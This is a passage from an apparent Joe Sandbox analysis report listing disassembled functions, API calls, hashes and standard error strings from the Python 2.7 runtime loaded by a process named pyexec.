                                                                                                                                                                    • Instruction Fuzzy Hash: 28215376E011096BD710DA98EC45EAF73BCDB88229F0446A9ED1CD7201F631DA5587E2
                                                                                                                                                                    Function 6708B5D0 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 82COMMON
                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                    APIs
                                                                                                                                                                    • PyErr_SetString.PYTHON27(672448B0,expected a single-segment buffer object), ref: 6708B626
                                                                                                                                                                    • PyErr_SetString.PYTHON27(672448B0,expected a string or other character buffer object), ref: 6708B665
                                                                                                                                                                    • PyErr_SetString.PYTHON27(672465C8,null argument to internal routine), ref: 6708B68D
                                                                                                                                                                    Strings
                                                                                                                                                                    • expected a string or other character buffer object, xrefs: 6708B65F
                                                                                                                                                                    • expected a single-segment buffer object, xrefs: 6708B620
                                                                                                                                                                    • null argument to internal routine, xrefs: 6708B687
                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                    • Source File: 00000004.00000002.1901077751.0000000067001000.00000020.00000001.01000000.0000000E.sdmp, Offset: 67000000, based on PE: true
                                                                                                                                                                    • Associated: 00000004.00000002.1901064407.0000000067000000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901174092.000000006714A000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901245607.000000006721F000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067220000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067234000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901341387.0000000067271000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901358159.0000000067284000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                    • Snapshot File: hcaresult_4_2_67000000_pyexec.jbxd
                                                                                                                                                                    Similarity
                                                                                                                                                                    • API ID: Err_String
                                                                                                                                                                    • String ID: expected a single-segment buffer object$expected a string or other character buffer object$null argument to internal routine
                                                                                                                                                                    • API String ID: 1450464846-3572025370
                                                                                                                                                                    • Opcode ID: 4993b303eff919d988d4188b148fbaa7f991a28b8406fdf245b176a1d8d7f9b1
                                                                                                                                                                    • Instruction ID: 9b18e24b2fea1e2b98447a57414d2d6047d6bc58260aaca857d207b585a2ec04
                                                                                                                                                                    • Opcode Fuzzy Hash: 4993b303eff919d988d4188b148fbaa7f991a28b8406fdf245b176a1d8d7f9b1
                                                                                                                                                                    • Instruction Fuzzy Hash: F821C632244205DFDF10CE64EC80B6673E8EB99338F108726E93C8B280DB39E452CB61
                                                                                                                                                                    Function 6701A430 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 78COMMON
                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                    APIs
                                                                                                                                                                    • _PyArg_ParseTupleAndKeywords_SizeT.PYTHON27(?,?,O:Struct,67268D90,?), ref: 6701A451
                                                                                                                                                                    Strings
                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                    • Source File: 00000004.00000002.1901077751.0000000067001000.00000020.00000001.01000000.0000000E.sdmp, Offset: 67000000, based on PE: true
                                                                                                                                                                    • Associated: 00000004.00000002.1901064407.0000000067000000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901174092.000000006714A000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901245607.000000006721F000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067220000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067234000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901341387.0000000067271000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901358159.0000000067284000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                    • Snapshot File: hcaresult_4_2_67000000_pyexec.jbxd
                                                                                                                                                                    Similarity
                                                                                                                                                                    • API ID: Arg_Keywords_ParseSizeTuple
                                                                                                                                                                    • String ID: O:Struct$Struct() argument 1 must be string, not %s$ascii
                                                                                                                                                                    • API String ID: 2595951286-3821461947
                                                                                                                                                                    • Opcode ID: 47e81c70a1316f0b1f05222bd82ba1960fad1525029bb7f99e535f7d42792600
                                                                                                                                                                    • Instruction ID: a09abd7639a702412c1cbc3701d61ad3b03e37fb3b3a2870af6f0b94b4fc5fd4
                                                                                                                                                                    • Opcode Fuzzy Hash: 47e81c70a1316f0b1f05222bd82ba1960fad1525029bb7f99e535f7d42792600
                                                                                                                                                                    • Instruction Fuzzy Hash: F121C4B59056059FD700CFA4E944B6A73E8AF4D234F204799ED2D47381E770ED4986B1
                                                                                                                                                                    Function 6708D650 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 77COMMON
                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                    APIs
                                                                                                                                                                    • PyErr_SetString.PYTHON27(672465C8,null argument to internal routine,?,?,6708D72E,?,?,?,?,6708B2E8,6708EF3A,67245B38), ref: 6708D673
                                                                                                                                                                    • PyErr_Format.PYTHON27(672448B0,__index__ returned non-(int,long) (type %.200s),?), ref: 6708D6CF
                                                                                                                                                                    • PyErr_Format.PYTHON27(672448B0,'%.200s' object cannot be interpreted as an index,?,?,?,?,6708D72E,?,?,?,?,6708B2E8,6708EF3A,67245B38), ref: 6708D6FE
                                                                                                                                                                    Strings
                                                                                                                                                                    • null argument to internal routine, xrefs: 6708D66D
                                                                                                                                                                    • '%.200s' object cannot be interpreted as an index, xrefs: 6708D6F8
                                                                                                                                                                    • __index__ returned non-(int,long) (type %.200s), xrefs: 6708D6C9
                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                    • Source File: 00000004.00000002.1901077751.0000000067001000.00000020.00000001.01000000.0000000E.sdmp, Offset: 67000000, based on PE: true
                                                                                                                                                                    • Associated: 00000004.00000002.1901064407.0000000067000000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901174092.000000006714A000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901245607.000000006721F000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067220000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067234000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901341387.0000000067271000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901358159.0000000067284000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                    • Snapshot File: hcaresult_4_2_67000000_pyexec.jbxd
                                                                                                                                                                    Similarity
                                                                                                                                                                    • API ID: Err_$Format$String
                                                                                                                                                                    • String ID: '%.200s' object cannot be interpreted as an index$__index__ returned non-(int,long) (type %.200s)$null argument to internal routine
                                                                                                                                                                    • API String ID: 1780620971-172259376
                                                                                                                                                                    • Opcode ID: a27700349d044f7240190dae5229ab78ea74476a7c145532bc8bb2657f994027
                                                                                                                                                                    • Instruction ID: 88ca9999878ca66b1b8de2096251c3f9d7329a8440fd80203ed3844153227dc7
                                                                                                                                                                    • Opcode Fuzzy Hash: a27700349d044f7240190dae5229ab78ea74476a7c145532bc8bb2657f994027
                                                                                                                                                                    • Instruction Fuzzy Hash: 98210276B005044BCB04CA64E850F6BB3E8EB8C734B24462BE90CCB241D735EC52DBA0
                                                                                                                                                                    Function 670D7F40 Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 75COMMON
                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                    APIs
                                                                                                                                                                    • PyErr_SetString.PYTHON27(67245B38,tuple assignment index out of range,00000000), ref: 670D7FB2
                                                                                                                                                                    • PyErr_Format.PYTHON27(672465C8,%s:%d: bad argument to internal function,..\Objects\tupleobject.c,0000008E,00000000), ref: 670D7FEF
                                                                                                                                                                    Strings
                                                                                                                                                                    • tuple assignment index out of range, xrefs: 670D7FAC
                                                                                                                                                                    • ..\Objects\tupleobject.c, xrefs: 670D7FE4
                                                                                                                                                                    • 8[$gfunction(code, globals[, name[, argdefs[, closure]]])Create a function object from a code object and a dictionary.The optional name string overrides the name from the code object.The optional argdefs tuple specifies the default argument values.The opt, xrefs: 670D7FA7
                                                                                                                                                                    • %s:%d: bad argument to internal function, xrefs: 670D7FE9
                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                    • Source File: 00000004.00000002.1901077751.0000000067001000.00000020.00000001.01000000.0000000E.sdmp, Offset: 67000000, based on PE: true
                                                                                                                                                                    • Associated: 00000004.00000002.1901064407.0000000067000000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901174092.000000006714A000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901245607.000000006721F000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067220000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067234000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901341387.0000000067271000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901358159.0000000067284000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                    • Snapshot File: hcaresult_4_2_67000000_pyexec.jbxd
                                                                                                                                                                    Similarity
                                                                                                                                                                    • API ID: Err_$FormatString
                                                                                                                                                                    • String ID: %s:%d: bad argument to internal function$..\Objects\tupleobject.c$8[$gfunction(code, globals[, name[, argdefs[, closure]]])Create a function object from a code object and a dictionary.The optional name string overrides the name from the code object.The optional argdefs tuple specifies the default argument values.The opt$tuple assignment index out of range
                                                                                                                                                                    • API String ID: 4212644371-229888058
                                                                                                                                                                    • Opcode ID: dad1e8b6f74854492f048287c91abad16fe9bfe7deade733ed7057065d18f73a
                                                                                                                                                                    • Instruction ID: 79bce8ee26df7da72c22e573c7e0113895b0596b1d627943da49b1f7d7cb43e6
                                                                                                                                                                    • Opcode Fuzzy Hash: dad1e8b6f74854492f048287c91abad16fe9bfe7deade733ed7057065d18f73a
                                                                                                                                                                    • Instruction Fuzzy Hash: 202180B1A043054FDB14DF68DC45E9673A8AF49334B158795E9388B2C1E635EC52CBE2
                                                                                                                                                                    Function 6708DFF0 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 75COMMON
                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                    APIs
                                                                                                                                                                    • PySequence_Check.PYTHON27(?), ref: 6708E024
                                                                                                                                                                    • PySequence_Check.PYTHON27(?), ref: 6708E031
                                                                                                                                                                    • PyErr_Format.PYTHON27(672448B0,'%.200s' object can't be concatenated,?), ref: 6708E074
                                                                                                                                                                    • PyErr_SetString.PYTHON27(672465C8,null argument to internal routine), ref: 6708E099
                                                                                                                                                                    Strings
                                                                                                                                                                    • '%.200s' object can't be concatenated, xrefs: 6708E06E
                                                                                                                                                                    • null argument to internal routine, xrefs: 6708E093
                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                    • Source File: 00000004.00000002.1901077751.0000000067001000.00000020.00000001.01000000.0000000E.sdmp, Offset: 67000000, based on PE: true
                                                                                                                                                                    • Associated: 00000004.00000002.1901064407.0000000067000000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901174092.000000006714A000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901245607.000000006721F000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067220000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067234000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901341387.0000000067271000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901358159.0000000067284000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                    • Snapshot File: hcaresult_4_2_67000000_pyexec.jbxd
                                                                                                                                                                    Similarity
                                                                                                                                                                    • API ID: CheckErr_Sequence_$FormatString
                                                                                                                                                                    • String ID: '%.200s' object can't be concatenated$null argument to internal routine
                                                                                                                                                                    • API String ID: 3037318651-586038359
                                                                                                                                                                    • Opcode ID: c0160ccc2f7edda0fdc6a3435291e0a530886169f390250566678456c1d8cca2
                                                                                                                                                                    • Instruction ID: 3258a2290bfac7184230bf8ac3f12a03166ec8d6af26268abed1bbff2b5a6ecd
                                                                                                                                                                    • Opcode Fuzzy Hash: c0160ccc2f7edda0fdc6a3435291e0a530886169f390250566678456c1d8cca2
                                                                                                                                                                    • Instruction Fuzzy Hash: 4C11D6B66005105BDF00CA64EC45F6733E89F9D625B154935ED2CCB251D725E981CAB1
                                                                                                                                                                    Function 670C7FF0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 70COMMON
                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                    APIs
                                                                                                                                                                    • PyDict_New.PYTHON27 ref: 670C8006
                                                                                                                                                                      • Part of subcall function 670A4510: PyString_FromString.PYTHON27(<dummy key>,00000000,00000000,00000000,?,?,670C50C0,?,00000014,?,6712DEB4), ref: 670A4529
                                                                                                                                                                    • PyErr_Clear.PYTHON27 ref: 670C8018
                                                                                                                                                                    • PyString_FromString.PYTHON27(Py_Repr), ref: 670C8031
                                                                                                                                                                    • PyDict_GetItem.PYTHON27(00000000,00000000), ref: 670C8041
                                                                                                                                                                    • PyList_SetSlice.PYTHON27(00000000,?,?,00000000), ref: 670C8098
                                                                                                                                                                    Strings
                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                    • Source File: 00000004.00000002.1901077751.0000000067001000.00000020.00000001.01000000.0000000E.sdmp, Offset: 67000000, based on PE: true
                                                                                                                                                                    • Associated: 00000004.00000002.1901064407.0000000067000000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901174092.000000006714A000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901245607.000000006721F000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067220000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067234000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901341387.0000000067271000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901358159.0000000067284000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                    • Snapshot File: hcaresult_4_2_67000000_pyexec.jbxd
                                                                                                                                                                    Similarity
                                                                                                                                                                    • API ID: Dict_FromStringString_$ClearErr_ItemList_Slice
                                                                                                                                                                    • String ID: Py_Repr
                                                                                                                                                                    • API String ID: 1400406548-2533070302
                                                                                                                                                                    • Opcode ID: 85c94da1d7a7d6114e0528eb2caab2b25a9b508ddfdd58e0b2f0797a858588a0
                                                                                                                                                                    • Instruction ID: 750e09dbcdd3a4dc3d63de5b152980f4697f852e17613c60bb1477fbcaf3a5d7
                                                                                                                                                                    • Opcode Fuzzy Hash: 85c94da1d7a7d6114e0528eb2caab2b25a9b508ddfdd58e0b2f0797a858588a0
                                                                                                                                                                    • Instruction Fuzzy Hash: 9C11DA712006059FE758CA58D844BAB73E5EFD9718F214268EA18CB2C1EB32E446D7F7
                                                                                                                                                                    Function 670B95B0 Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 70COMMON
                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                    APIs
                                                                                                                                                                    • PyErr_Format.PYTHON27(672465C8,%s:%d: bad argument to internal function,..\Objects\listobject.c,000000CE), ref: 670B95F2
                                                                                                                                                                    • PyErr_SetString.PYTHON27(67245B38,list assignment index out of range), ref: 670B9659
                                                                                                                                                                    Strings
                                                                                                                                                                    • 8[$gfunction(code, globals[, name[, argdefs[, closure]]])Create a function object from a code object and a dictionary.The optional name string overrides the name from the code object.The optional argdefs tuple specifies the default argument values.The opt, xrefs: 670B964D
                                                                                                                                                                    • %s:%d: bad argument to internal function, xrefs: 670B95EC
                                                                                                                                                                    • ..\Objects\listobject.c, xrefs: 670B95E7
                                                                                                                                                                    • list assignment index out of range, xrefs: 670B9653
                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                    • Source File: 00000004.00000002.1901077751.0000000067001000.00000020.00000001.01000000.0000000E.sdmp, Offset: 67000000, based on PE: true
                                                                                                                                                                    • Associated: 00000004.00000002.1901064407.0000000067000000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901174092.000000006714A000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901245607.000000006721F000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067220000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067234000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901341387.0000000067271000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901358159.0000000067284000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                    • Snapshot File: hcaresult_4_2_67000000_pyexec.jbxd
                                                                                                                                                                    Similarity
                                                                                                                                                                    • API ID: Err_$FormatString
                                                                                                                                                                    • String ID: %s:%d: bad argument to internal function$..\Objects\listobject.c$8[$gfunction(code, globals[, name[, argdefs[, closure]]])Create a function object from a code object and a dictionary.The optional name string overrides the name from the code object.The optional argdefs tuple specifies the default argument values.The opt$list assignment index out of range
                                                                                                                                                                    • API String ID: 4212644371-726423695
                                                                                                                                                                    • Opcode ID: ccc80957f22391e0890ab6e5d7a90640f8a2c57d1e2a35ae5a83bb35c554a522
                                                                                                                                                                    • Instruction ID: 67926b522d5c944a9c538f27c27a209fb39107b2d9c309d48bacac32c6aa6bdd
                                                                                                                                                                    • Opcode Fuzzy Hash: ccc80957f22391e0890ab6e5d7a90640f8a2c57d1e2a35ae5a83bb35c554a522
                                                                                                                                                                    • Instruction Fuzzy Hash: 65216FB1A102059FEB14CF68DC95E5533A4AF6D738B144398E9388B3D1D632E952CBA1
                                                                                                                                                                    Function 670C3420 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 69COMMON
                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                    APIs
                                                                                                                                                                    • PyObject_GetBuffer.PYTHON27(?,?,0000011C), ref: 670C3452
                                                                                                                                                                    • PyMemoryView_FromBuffer.PYTHON27(?), ref: 670C3463
                                                                                                                                                                      • Part of subcall function 670C3390: _PyObject_GC_Malloc.PYTHON27(00000040), ref: 670C33A0
                                                                                                                                                                      • Part of subcall function 670C3390: Py_FatalError.PYTHON27(GC object already tracked), ref: 670C33DF
                                                                                                                                                                    • PyBuffer_Release.PYTHON27(?), ref: 670C3474
                                                                                                                                                                    • PyString_FromString.PYTHON27(cannot make memory view because object does not have the buffer interface), ref: 670C349A
                                                                                                                                                                    • PyErr_SetObject.PYTHON27(672448B0,00000000,cannot make memory view because object does not have the buffer interface), ref: 670C34A3
                                                                                                                                                                    Strings
                                                                                                                                                                    • cannot make memory view because object does not have the buffer interface, xrefs: 670C3495
                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                    • Source File: 00000004.00000002.1901077751.0000000067001000.00000020.00000001.01000000.0000000E.sdmp, Offset: 67000000, based on PE: true
                                                                                                                                                                    • Associated: 00000004.00000002.1901064407.0000000067000000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901174092.000000006714A000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901245607.000000006721F000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067220000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067234000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901341387.0000000067271000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901358159.0000000067284000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                    • Snapshot File: hcaresult_4_2_67000000_pyexec.jbxd
                                                                                                                                                                    Similarity
                                                                                                                                                                    • API ID: BufferFromObject_$Buffer_Err_ErrorFatalMallocMemoryObjectReleaseStringString_View_
                                                                                                                                                                    • String ID: cannot make memory view because object does not have the buffer interface
                                                                                                                                                                    • API String ID: 795727773-947840849
                                                                                                                                                                    • Opcode ID: bfb0aa96c73d921587a9cdf3c69163818ec080d724a4a7e9bb208e93adee8f5e
                                                                                                                                                                    • Instruction ID: f6a862e770484bc187b23c4064dd94b11bce5f2fa2f8810c970cecf0f10f7da5
                                                                                                                                                                    • Opcode Fuzzy Hash: bfb0aa96c73d921587a9cdf3c69163818ec080d724a4a7e9bb208e93adee8f5e
                                                                                                                                                                    • Instruction Fuzzy Hash: B911E2329212005FE310CA74BC01BAFB3E89B5D238F04066DEE288B291E771E915C6E3
                                                                                                                                                                    Function 6708FF00 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 66COMMON
                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                    APIs
                                                                                                                                                                    • PySequence_Check.PYTHON27(?), ref: 6708FF18
                                                                                                                                                                    • PySeqIter_New.PYTHON27(?), ref: 6708FF25
                                                                                                                                                                    • PyErr_Format.PYTHON27(672448B0,'%.200s' object is not iterable,?), ref: 6708FF43
                                                                                                                                                                    • PyErr_Format.PYTHON27(672448B0,iter() returned non-iterator of type '%.100s',?), ref: 6708FF84
                                                                                                                                                                    Strings
                                                                                                                                                                    • '%.200s' object is not iterable, xrefs: 6708FF3D
                                                                                                                                                                    • iter() returned non-iterator of type '%.100s', xrefs: 6708FF7E
                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                    • Source File: 00000004.00000002.1901077751.0000000067001000.00000020.00000001.01000000.0000000E.sdmp, Offset: 67000000, based on PE: true
                                                                                                                                                                    • Associated: 00000004.00000002.1901064407.0000000067000000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901174092.000000006714A000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901245607.000000006721F000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067220000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067234000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901341387.0000000067271000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901358159.0000000067284000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                    • Snapshot File: hcaresult_4_2_67000000_pyexec.jbxd
                                                                                                                                                                    Similarity
                                                                                                                                                                    • API ID: Err_Format$CheckIter_Sequence_
                                                                                                                                                                    • String ID: '%.200s' object is not iterable$iter() returned non-iterator of type '%.100s'
                                                                                                                                                                    • API String ID: 1856588606-3403259511
                                                                                                                                                                    • Opcode ID: e086b6fe8647b764d6c2d423485644ddcee042e6c138ae05a8b4e1da442772d9
                                                                                                                                                                    • Instruction ID: 06db7d5174693de173c8d32442716dd8910abc42f93864658fc265a4dea014fb
                                                                                                                                                                    • Opcode Fuzzy Hash: e086b6fe8647b764d6c2d423485644ddcee042e6c138ae05a8b4e1da442772d9
                                                                                                                                                                    • Instruction Fuzzy Hash: A811EF72B10A115FCB20DAB4A840F5AB3DC9F0E634B044669ED2887392E724FD41CBE2
                                                                                                                                                                    Function 670CBDC0 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 65COMMON
                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                    APIs
                                                                                                                                                                    • PyType_IsSubtype.PYTHON27(?,?), ref: 670CBDE1
                                                                                                                                                                    • PyType_IsSubtype.PYTHON27(?,?), ref: 670CBDF3
                                                                                                                                                                    • _PyErr_BadInternalCall.PYTHON27(..\Objects\setobject.c,00000904), ref: 670CBE09
                                                                                                                                                                      • Part of subcall function 67120890: PyErr_Format.PYTHON27(672465C8,%s:%d: bad argument to internal function,?,670CBD4E,?,670CBD4E,..\Objects\setobject.c,000008F0), ref: 671208AA
                                                                                                                                                                    • PyObject_Hash.PYTHON27(?), ref: 670CBE2D
                                                                                                                                                                    Strings
                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                    • Source File: 00000004.00000002.1901077751.0000000067001000.00000020.00000001.01000000.0000000E.sdmp, Offset: 67000000, based on PE: true
                                                                                                                                                                    • Associated: 00000004.00000002.1901064407.0000000067000000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901174092.000000006714A000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901245607.000000006721F000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067220000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067234000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901341387.0000000067271000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901358159.0000000067284000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                    • Snapshot File: hcaresult_4_2_67000000_pyexec.jbxd
                                                                                                                                                                    Similarity
                                                                                                                                                                    • API ID: Err_SubtypeType_$CallFormatHashInternalObject_
                                                                                                                                                                    • String ID: ..\Objects\setobject.c$h#g
                                                                                                                                                                    • API String ID: 66917421-1677579199
                                                                                                                                                                    • Opcode ID: 7be8d49b5330bbb2072c4de07dd90ff75f266f00364506a91b0f11c448dbcce8
                                                                                                                                                                    • Instruction ID: 4d0dd6bf3e357cdac4ee193e25a907697b59fd40dff06e0444ab9310524ac803
                                                                                                                                                                    • Opcode Fuzzy Hash: 7be8d49b5330bbb2072c4de07dd90ff75f266f00364506a91b0f11c448dbcce8
                                                                                                                                                                    • Instruction Fuzzy Hash: FD11E572640128AA9600C66DBC81B9FB3D89F2967EF104225FB3CD7192E330E86185F3
                                                                                                                                                                    Function 67007570 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 49COMMON
                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                    APIs
                                                                                                                                                                    • PyArg_UnpackTuple.PYTHON27(?,field_size_limit,00000000,00000001,?), ref: 67007593
                                                                                                                                                                      • Part of subcall function 67125D90: PyString_FromString.PYTHON27(PyArg_UnpackTuple() argument list is not a tuple), ref: 67125DB2
                                                                                                                                                                      • Part of subcall function 67125D90: PyErr_SetObject.PYTHON27(672465C8,00000000,PyArg_UnpackTuple() argument list is not a tuple), ref: 67125DBB
                                                                                                                                                                    • PyErr_Format.PYTHON27(672448B0,limit must be an integer), ref: 670075BD
                                                                                                                                                                    • PyInt_AsLong.PYTHON27(00000000), ref: 670075CD
                                                                                                                                                                    • PyInt_FromLong.PYTHON27(00020000), ref: 670075EC
                                                                                                                                                                    Strings
                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                    • Source File: 00000004.00000002.1901077751.0000000067001000.00000020.00000001.01000000.0000000E.sdmp, Offset: 67000000, based on PE: true
                                                                                                                                                                    • Associated: 00000004.00000002.1901064407.0000000067000000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901174092.000000006714A000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901245607.000000006721F000.00000004.00000001.01000000.0000000E.sdmpDownload File
